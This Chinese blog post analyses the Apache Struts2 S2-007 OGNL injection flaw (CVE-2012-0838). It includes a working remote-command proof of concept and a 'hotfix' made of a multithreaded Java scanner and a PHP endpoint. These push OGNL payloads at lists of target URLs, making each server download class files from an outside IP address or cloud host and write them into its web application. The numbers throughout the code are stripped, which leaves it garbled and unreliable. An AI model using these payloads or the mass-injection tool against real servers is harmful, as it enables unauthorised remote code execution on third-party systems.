catalog

. Description
. Effected Scope
. Exploit Analysis
. Principle Of Vulnerability
. Patch Fix

1. Description

S2-007和S2-003、S2-005的漏洞源头都是一样的,都是struts2对OGNL的解析过程中存在漏洞,导致黑客可以通过OGNL表达式实现代码注入和执行,所不同的是

. S2-、S2-: 通过OGNL的name-value的赋值解析过程、#访问全局静态变量(AOP思想)实现代码执行
. S2-: 通过OGNL中String向long转换过程实现代码执行
//即它们的攻击向量是不同的

User input is evaluated as an OGNL expression when there's a conversion error. This allows a malicious user to execute arbitrary code.
关于struts2 OGNL的相关知识,请参阅另一篇文章

http://www.cnblogs.com/LittleHann/p/4614488.html
//搜索:5. struts2 OGNL表达式

Relevant Link:

http://struts.apache.org/docs/s2-007.html
http://cve.scap.org.cn/CVE-2012-0838.html

2. Effected Scope

Struts 2.0. - Struts 2.2.

3. Exploit Analysis

0x1: POC

http://localhost:8080/S2-XX/Login.action?id='%2b(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ifconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))%2b'

4. Principle Of Vulnerability

Apache Struts 2.2.3.1之前的2版本中存在漏洞,该漏洞源于在处理转换错误时评估字符串为OGNL表达式。远程攻击者可利用此漏洞借助无效的输入,修改run-time数据值,进而执行任意代码

5. Patch Fix

0x1: upgrade struts2

It is strongly recommended to upgrade to Struts 2.3.1.1, which contains the corrected classes.

0x2: Hotfix

import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader; public class StrutsFix { private static final String pay1="redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23pf%3dnew%20java.io.File(%23req.getRealPath(\"/\")%2b\"/WEB-INF/classes/org/apache/struts2/util/\"),%23pf.mkdirs(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b\"/PrefixTrie.class\"),%23url%3dnew%20java.net.URL(\"http://120.24.67.63:8080/PrefixTrie\"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b\"/PrefixTrie$Node.class\"),%23url%3dnew%20java.net.URL(\"http://120.24.67.63:8080/PrefixTrie$Node\"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect()}";
private static final String pay2="redirect:${%23ioc%3d%23context.get('com.opensymphony.xwork2.ActionContext.container'),%23dam%3dnew%20org.apache.struts2.dispatcher.mapper.DefaultActionMapper().getClass().getInterfaces()[0],%23dam%3d%23ioc.getInstance(%23dam),%23field%3d(%23dam.getClass().toString().equals(\"class%20org.apache.struts2.dispatcher.mapper.DefaultActionMapper\")?%23dam.getClass().getDeclaredField(\"prefixTrie\"):%23dam.getClass().getSuperclass().getDeclaredField(\"prefixTrie\")),%23field.setAccessible(true),%23ptree%3d%23field.get(%23dam),%23ptree.put(\"redirect:\",null),%23ptree.put(\"redirectAction:\",null),'ITSOK'}";
private static final String pay3="debug=command&expression=%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23pf%3dnew%20java.io.File(%23req.getRealPath(\"/\")%2b\"/WEB-INF/classes/org/apache/struts2/interceptor/debugging\"),%23pf.mkdirs(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b\"/DebuggingInterceptor.class\"),%23url%3dnew%20java.net.URL(\"http://120.24.67.63:8080/DebuggingInterceptor\"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect(),'ITSOK'";
private static final String pay4="debug=command&expression=%23dai%3d%23context.get('com.opensymphony.xwork2.ActionContext.actionInvocation'),%23interceptors%3d%23dai.getProxy().getConfig().getInterceptors(),%23interceptor%3d%23interceptors.{?%20%23this.getInterceptor()%20instanceof%20org.apache.struts2.interceptor.debugging.DebuggingInterceptor},%23interceptor.{?%20%23this.getInterceptor().setDevMode(\"false\")}"; public static void main(String[] args) throws Exception{ if (args==null || args.length==){
args = new String[]{"/Users/arno/ip2.txt"};
} File f = new File(args[]);
BufferedReader bf =new BufferedReader(new FileReader(f)); String line = bf.readLine();
int urlCont=; while ( line !=null) { urlCont++; if (urlCont % == ){
Thread.currentThread().sleep();
} if (urlCont % == ){
Thread.currentThread().sleep();
} new Thread(new Runnable() { @Override
public void run() { String url = Thread.currentThread().getName();
System.out.println("");
System.out.print(url); if (url!=null){
url=url.trim();
}
if ( ! url.toLowerCase().startsWith("http://")){
url ="http://"+url;
} if ( url.indexOf("?")<){
url =url+"?";
} try{
java.net.URL urlfile = new java.net.URL(url+"&"+pay1);
java.net.HttpURLConnection connection = (java.net.HttpURLConnection)urlfile.openConnection();
connection.addRequestProperty("Connection", "close");
connection.setConnectTimeout();
connection.setReadTimeout();
connection.connect();
System.out.print(connection.getResponseCode());
connection.disconnect();
connection=null;
urlfile=null;
}catch (Exception e){
System.out.print("SendRedirectError:"+ e.getLocalizedMessage() );
} try{
java.net.URL urlfile = new java.net.URL(url+"&"+pay2);
java.net.HttpURLConnection connection = (java.net.HttpURLConnection)urlfile.openConnection();
connection.addRequestProperty("Connection", "close");
connection.setConnectTimeout();
connection.setReadTimeout();
connection.connect();
System.out.print(connection.getResponseCode());
connection.disconnect();
connection=null;
urlfile=null;
}catch (Exception e){
System.out.print("SendRedirectError:"+ e.getLocalizedMessage() );
} try{
java.net.URL urlfile = new java.net.URL(url+"&"+pay3);
java.net.HttpURLConnection connection = (java.net.HttpURLConnection)urlfile.openConnection();
connection.addRequestProperty("Connection", "close");
connection.setConnectTimeout();
connection.setReadTimeout();
connection.connect();
System.out.print(connection.getResponseCode());
connection.disconnect();
connection=null;
urlfile=null;
}catch (Exception e){
System.out.print("SendDebugError:"+ e.getLocalizedMessage() );
} try{
java.net.URL urlfile = new java.net.URL(url+"&"+pay4);
java.net.HttpURLConnection connection = (java.net.HttpURLConnection)urlfile.openConnection();
connection.addRequestProperty("Connection", "close");
connection.setConnectTimeout();
connection.setReadTimeout();
connection.connect();
System.out.print(connection.getResponseCode());
connection.disconnect();
connection=null;
urlfile=null;
}catch (Exception e){
System.out.print("SendDebugError:"+ e.getLocalizedMessage() );
} }
}, line).start(); line = bf.readLine();
} } }

0x3: PHP API

else if ($vultype == "")
{
$pay1 = 'redirect:${%23req%3d%23context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),%23pf%3dnew%20java.io.File(%23req.getRealPath("/")%2b"/WEB-INF/classes/org/apache/struts2/util/"),%23pf.mkdirs(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b"/PrefixTrie.class"),%23url%3dnew%20java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/PrefixTrie"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b"/PrefixTrie$Node.class"),%23url%3dnew%20java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/PrefixTrie$Node"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect()}'; $pay2 = 'redirect:${#ioc%3d#context.get(\'com.opensymphony.xwork2.ActionContext.container\'),#dam%3dnew org.apache.struts2.dispatcher.mapper.DefaultActionMapper().getClass().getInterfaces()[0],#dam%3d#ioc.getInstance(#dam),#field%3d(#dam.getClass().toString().equals("class%20org.apache.struts2.dispatcher.mapper.DefaultActionMapper")?#dam.getClass().getDeclaredField("prefixTrie"):#dam.getClass().getSuperclass().getDeclaredField("prefixTrie")),#field.setAccessible(true),#ptree%3d#field.get(#dam),#ptree.put("redirect:",null),#ptree.put("redirectAction:",null),#dai%3d#context.get(\'com.opensymphony.xwork2.ActionContext.actionInvocation\'),#field%3d#dai.getClass().getDeclaredField(\'interceptors\'),#field.setAccessible(true),#interceptors%3d#field.get(#dai),#interceptor%3d#interceptors.{? #this.getInterceptor() instanceof com.opensymphony.xwork2.interceptor.ParametersInterceptor},#interceptor.{? #this.getInterceptor().setExcludeParams("(.*\\\\.|^|.*|\\\\[(\'|\\"))class(\\.|(\'|\\")]|\\\\[).*,^dojo\\\\..*,^struts\\\\..*,^session\\\\..*,^request\\\\..*,^application\\\\..*,^servlet(Request|Response)\\\\..*,^parameters\\\\..*,^action:.*,^method:.*")},\'ITSOK\'}'; $pay3 = 'debug=command&expression=%23req%3d%23context.get(\'com.opensymphony.xwork2.dispatcher.HttpServletRequest\'),%23pf%3dnew%20java.io.File(%23req.getRealPath("/")%2b"/WEB-INF/classes/org/apache/struts2/interceptor/debugging"),%23pf.mkdirs(),%23f%3dnew%20java.io.File(%23pf.getAbsolutePath()%2b"/DebuggingInterceptor.class"),%23url%3dnew%20java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/DebuggingInterceptor"),%23conn%3d%23url.openConnection(),%23conn.connect(),%23is%3d%23conn.getInputStream(),%23os%3dnew%20java.io.FileOutputStream(%23f),%23len%3d%23is.available(),%23b%3dnew%20byte[%23len],%23is.read(%23b),%23os.write(%23b,%200,%20%23len),%23os.flush(),%23is.close(),%23conn.disconnect(),\'ITSOK\''; $pay4 = 'debug=command&expression=%23dai%3d%23context.get(\'com.opensymphony.xwork2.ActionContext.actionInvocation\'),%23interceptors%3d%23dai.getProxy().getConfig().getInterceptors(),%23interceptor%3d%23interceptors.{?%20%23this.getInterceptor()%20instanceof%20org.apache.struts2.interceptor.debugging.DebuggingInterceptor},%23interceptor.{?%20%23this.getInterceptor().setDevMode("false")},#interceptor%3d#interceptors.{? #this.getInterceptor() instanceof com.opensymphony.xwork2.interceptor.ParametersInterceptor},#interceptor.{? #this.getInterceptor().setExcludeParams("(.*\\\\.|^|.*|\\\\[(\'|\\"))class(\\\\.|(\'|\\")]|\\\\[).*,^dojo\\\\..*,^struts\\\\..*,^session\\\\..*,^request\\\\..*,^application\\\\..*,^servlet(Request|Response)\\\\..*,^parameters\\\\..*,^action:.*,^method:.*")}'; //存在struts2漏洞的url: http://target:8080/struts2-blank/example/HelloWorld.action
$url = $_GET['url'];
if (empty($url))
{
die('{"return_code":0,"return_str":"struts2 url missing"}');
}
$url = urldecode($url);
if ( strpos($url, "http://") !== )
{
$url = "http://" . $url;
}
if ( strpos($url, "?") === false )
{
$url = $url . "?";
}
$url = substr($url, , strpos($url, "?") + ); $md5 = $url . $pay1;
$res = file_get_contents( $url . $pay1 );
sleep();
$md5 .= " " . $url . $pay2;
$res = file_get_contents( $url . $pay2 );
sleep();
$md5 .= " " . $url . $pay3;
$res = file_get_contents( $url . $pay3 );
sleep();
$md5 .= " " . $url . $pay4;
$res = file_get_contents( $url . $pay4 ); saveToScanDB($client_ip, $url, $md5, $t, $vultype, $platform); die('{"return_code":0,"return_str":"push success"}');
}

0x4: POC原理

. $pay1
redirect:${
#req=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),
#pf=new java.io.File(#req.getRealPath("/")+"/WEB-INF/classes/org/apache/struts2/util/"),
#pf.mkdirs(),
#f=new java.io.File(#pf.getAbsolutePath()+"/PrefixTrie.class"),
#url=new java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/PrefixTrie"),
#conn=#url.openConnection(),
#conn.connect(),
#is=#conn.getInputStream(),
#os=new java.io.FileOutputStream(#f),
#len=#is.available(),
#b=new byte[#len],
#is.read(#b),
#os.write(#b, , #len),
#os.flush(),
#is.close(),
#conn.disconnect(),
#f=new java.io.File(#pf.getAbsolutePath()+"/PrefixTrie$Node.class"),
#url=new java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/PrefixTrie$Node"),
#conn=#url.openConnection(),
#conn.connect(),
#is=#conn.getInputStream(),
#os=new java.io.FileOutputStream(#f),
#len=#is.available(),
#b=new byte[#len],
#is.read(#b),
#os.write(#b, , #len),
#os.flush(),
#is.close(),
#conn.disconnect()
}
//下载用于修复跳转OGNL指令的前置过滤器类 . $pay2
redirect:${
#ioc=#context.get(\'com.opensymphony.xwork2.ActionContext.container\'),
#dam=new org.apache.struts2.dispatcher.mapper.DefaultActionMapper().getClass().getInterfaces()[],
#dam=#ioc.getInstance(#dam),
#field=(#dam.getClass().toString().equals("class org.apache.struts2.dispatcher.mapper.DefaultActionMapper")?#dam.getClass().getDeclaredField("prefixTrie"):#dam.getClass().getSuperclass().getDeclaredField("prefixTrie")),
#field.setAccessible(true),
#ptree=#field.get(#dam),
#ptree.put("redirect:",null),
#ptree.put("redirectAction:",null),
#dai=#context.get(\'com.opensymphony.xwork2.ActionContext.actionInvocation\'),
#field=#dai.getClass().getDeclaredField(\'interceptors\'),
#field.setAccessible(true),
#interceptors=#field.get(#dai),
#interceptor=#interceptors.{? #this.getInterceptor() instanceof com.opensymphony.xwork2.interceptor.ParametersInterceptor},#interceptor.{? #this.getInterceptor().setExcludeParams("(.*\\\\.|^|.*|\\\\[(\'|\\"))class(\\.|(\'|\\")]|\\\\[).*,^dojo\\\\..*,^struts\\\\..*,^session\\\\..*,^request\\\\..*,^application\\\\..*,^servlet(Request|Response)\\\\..*,^parameters\\\\..*,^action:.*,^method:.*")},
\'ITSOK\'
}
//加载前置过滤器类,动态关闭redirect、redirectAction开关,并设置URL禁用模式,阻断攻击数据包 . $pay3
debug=command&
expression=#req=#context.get(\'com.opensymphony.xwork2.dispatcher.HttpServletRequest\'),
#pf=new java.io.File(#req.getRealPath("/")+"/WEB-INF/classes/org/apache/struts2/interceptor/debugging"),
#pf.mkdirs(),
#f=new java.io.File(#pf.getAbsolutePath()+"/DebuggingInterceptor.class"),
#url=new java.net.URL("http://struts2fix.oss-cn-hangzhou.aliyuncs.com/DebuggingInterceptor"),
#conn=#url.openConnection(),
#conn.connect(),
#is=#conn.getInputStream(),
#os=new java.io.FileOutputStream(#f),
#len=#is.available(),
#b=new byte[#len],
#is.read(#b),
#os.write(#b, , #len),
#os.flush(),
#is.close(),
#conn.disconnect(),\'ITSOK\'
//下载用于修复DEBUG命令执行漏洞的过滤器类 . $pay4
debug=command&
expression=#dai=#context.get(\'com.opensymphony.xwork2.ActionContext.actionInvocation\'),
#interceptors=#dai.getProxy().getConfig().getInterceptors(),
#interceptor=#interceptors.{? #this.getInterceptor() instanceof org.apache.struts2.interceptor.debugging.DebuggingInterceptor},
#interceptor.{? #this.getInterceptor().setDevMode("false")},
#interceptor=#interceptors.{? #this.getInterceptor() instanceof com.opensymphony.xwork2.interceptor.ParametersInterceptor},#interceptor.{? #this.getInterceptor().setExcludeParams("(.*\\\\.|^|.*|\\\\[(\'|\\"))class(\\\\.|(\'|\\")]|\\\\[).*,^dojo\\\\..*,^struts\\\\..*,^session\\\\..*,^request\\\\..*,^application\\\\..*,^servlet(Request|Response)\\\\..*,^parameters\\\\..*,^action:.*,^method:.*")}
//利用DEBUG命令执行漏洞,动态关闭DEBUG指令执行开关,并设置URL禁用模式,阻断攻击数据包

Relevant Link:

Copyright (c) 2015 Little5ann All rights reserved

struts2 CVE-2012-0838 S2-007 Remote Code Execution && Hotfix的更多相关文章

  1. [我的CVE][CVE-2017-15708]Apache Synapse Remote Code Execution Vulnerability

    漏洞编号:CNVD-2017-36700 漏洞编号:CVE-2017-15708 漏洞分析:https://www.javasec.cn/index.php/archives/117/ [Apache ...

  2. CVE-2014-6321 && MS14-066 Microsoft Schannel Remote Code Execution Vulnerability Analysis

    目录 . 漏洞的起因 . 漏洞原理分析 . 漏洞的影响范围 . 漏洞的利用场景 . 漏洞的POC.测试方法 . 漏洞的修复Patch情况 . 如何避免此类漏洞继续出现 1. 漏洞的起因 这次的CVE和 ...

  3. [EXP]Microsoft Windows MSHTML Engine - "Edit" Remote Code Execution

    # Exploit Title: Microsoft Windows (CVE-2019-0541) MSHTML Engine "Edit" Remote Code Execut ...

  4. [EXP]Apache Superset < 0.23 - Remote Code Execution

    # Exploit Title: Apache Superset < 0.23 - Remote Code Execution # Date: 2018-05-17 # Exploit Auth ...

  5. [EXP]ThinkPHP 5.0.23/5.1.31 - Remote Code Execution

    # Exploit Title: ThinkPHP .x < v5.0.23,v5.1.31 Remote Code Execution # Date: -- # Exploit Author: ...

  6. MyBB \inc\class_core.php <= 1.8.2 unset_globals() Function Bypass and Remote Code Execution(Reverse Shell Exploit) Vulnerability

    catalogue . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 MyBB's unset_globals() function ca ...

  7. Insecure default in Elasticsearch enables remote code execution

    Elasticsearch has a flaw in its default configuration which makes it possible for any webpage to exe ...

  8. Roundcube 1.2.2 - Remote Code Execution

    本文简要记述一下Roundcube 1.2.2远程代码执行漏洞的复现过程. 漏洞利用条件 Roundcube必须配置成使用PHP的mail()函数(如果没有指定SMTP,则是默认开启) PHP的mai ...

  9. Home Web Server 1.9.1 build 164 - CGI Remote Code Execution复现

    一.  Home Web Server 1.9.1 build 164 - CGI Remote Code Execution复现 漏洞描述: Home Web Server允许调用CGI程序来通过P ...

随机推荐

  1. 关于Microsoft Visual Studio 2010系统自带的数据库

    转自:http://blog.sina.com.cn/s/blog_a570cca601012x5w.html 1.Visual studio Tools>命令提示 2.aspnet_regsq ...

  2. ubuntu13.04环境hadoop1.2.1单机模式安装

    一.虚拟机上安裝ubuntun 13.04 中文版 当然,你要是习惯看英文版,也可以直接安装英文版.老老实实从官网下载安装即可,安装系统不是本文的重点.这里只提一个注意事项:新手安装前,切记断网,因为 ...

  3. [MetaHook] BaseUI hook

    Hook IBaseUI function. #include <metahook.h> #include <IBaseUI.h> IBaseUI *g_pBaseUI = ; ...

  4. 工作随笔——使用svnsync实时备份SVN版本库

    前段时间把SVN版本库从win迁移到了Linux上,没隔几天那台win的磁盘就严重坏道了....这TMD什么运气! 花费了点时间研究了下svn自己的同步工具.写个日志记录下. 注意:svnsync要求 ...

  5. .html 、.htm 、 .shtml 以及 .shtm 四种扩展名的文件区别

    新增了一个分类,叫做 Personals,中文我把它解释成 "个人恶趣味",这里将记载一些对工作无关紧要,但是个人又一时有兴趣了解的东西. 今天要讲的是如题的 4 种扩展文件的区别 ...

  6. 深入理解python的yield和generator

    原文发表在我的博客主页,转载请注明出处 前言 没有用过的东西,没有深刻理解的东西很难说自己会,而且被别人一问必然破绽百出.虽然之前有接触过python协程的概念,但是只是走马观花,这两天的一次交谈中, ...

  7. 解决nf_conntrack: table full, dropping packet问题

    " > /proc/sys/net/nf_conntrack_max iptables -t raw -A PREROUTING -p tcp -m tcp --dport -j NO ...

  8. Google最新截屏案例详解

    Google从Android 5.0 开始,给出了截屏案例ScreenCapture,在同版本的examples的Media类别中可以找到.给需要开发手机或平板截屏应用的小伙伴提供了非常有意义的参考资 ...

  9. directly receive json data from javascript in mvc

    if you send json data to mvc,how can you receive them and parse them more simply? you can do it like ...

  10. android获得图片

    首先是相册图片的获取: private final String IMAGE_TYPE = "image/*"; private final int IMAGE_CODE = 0; ...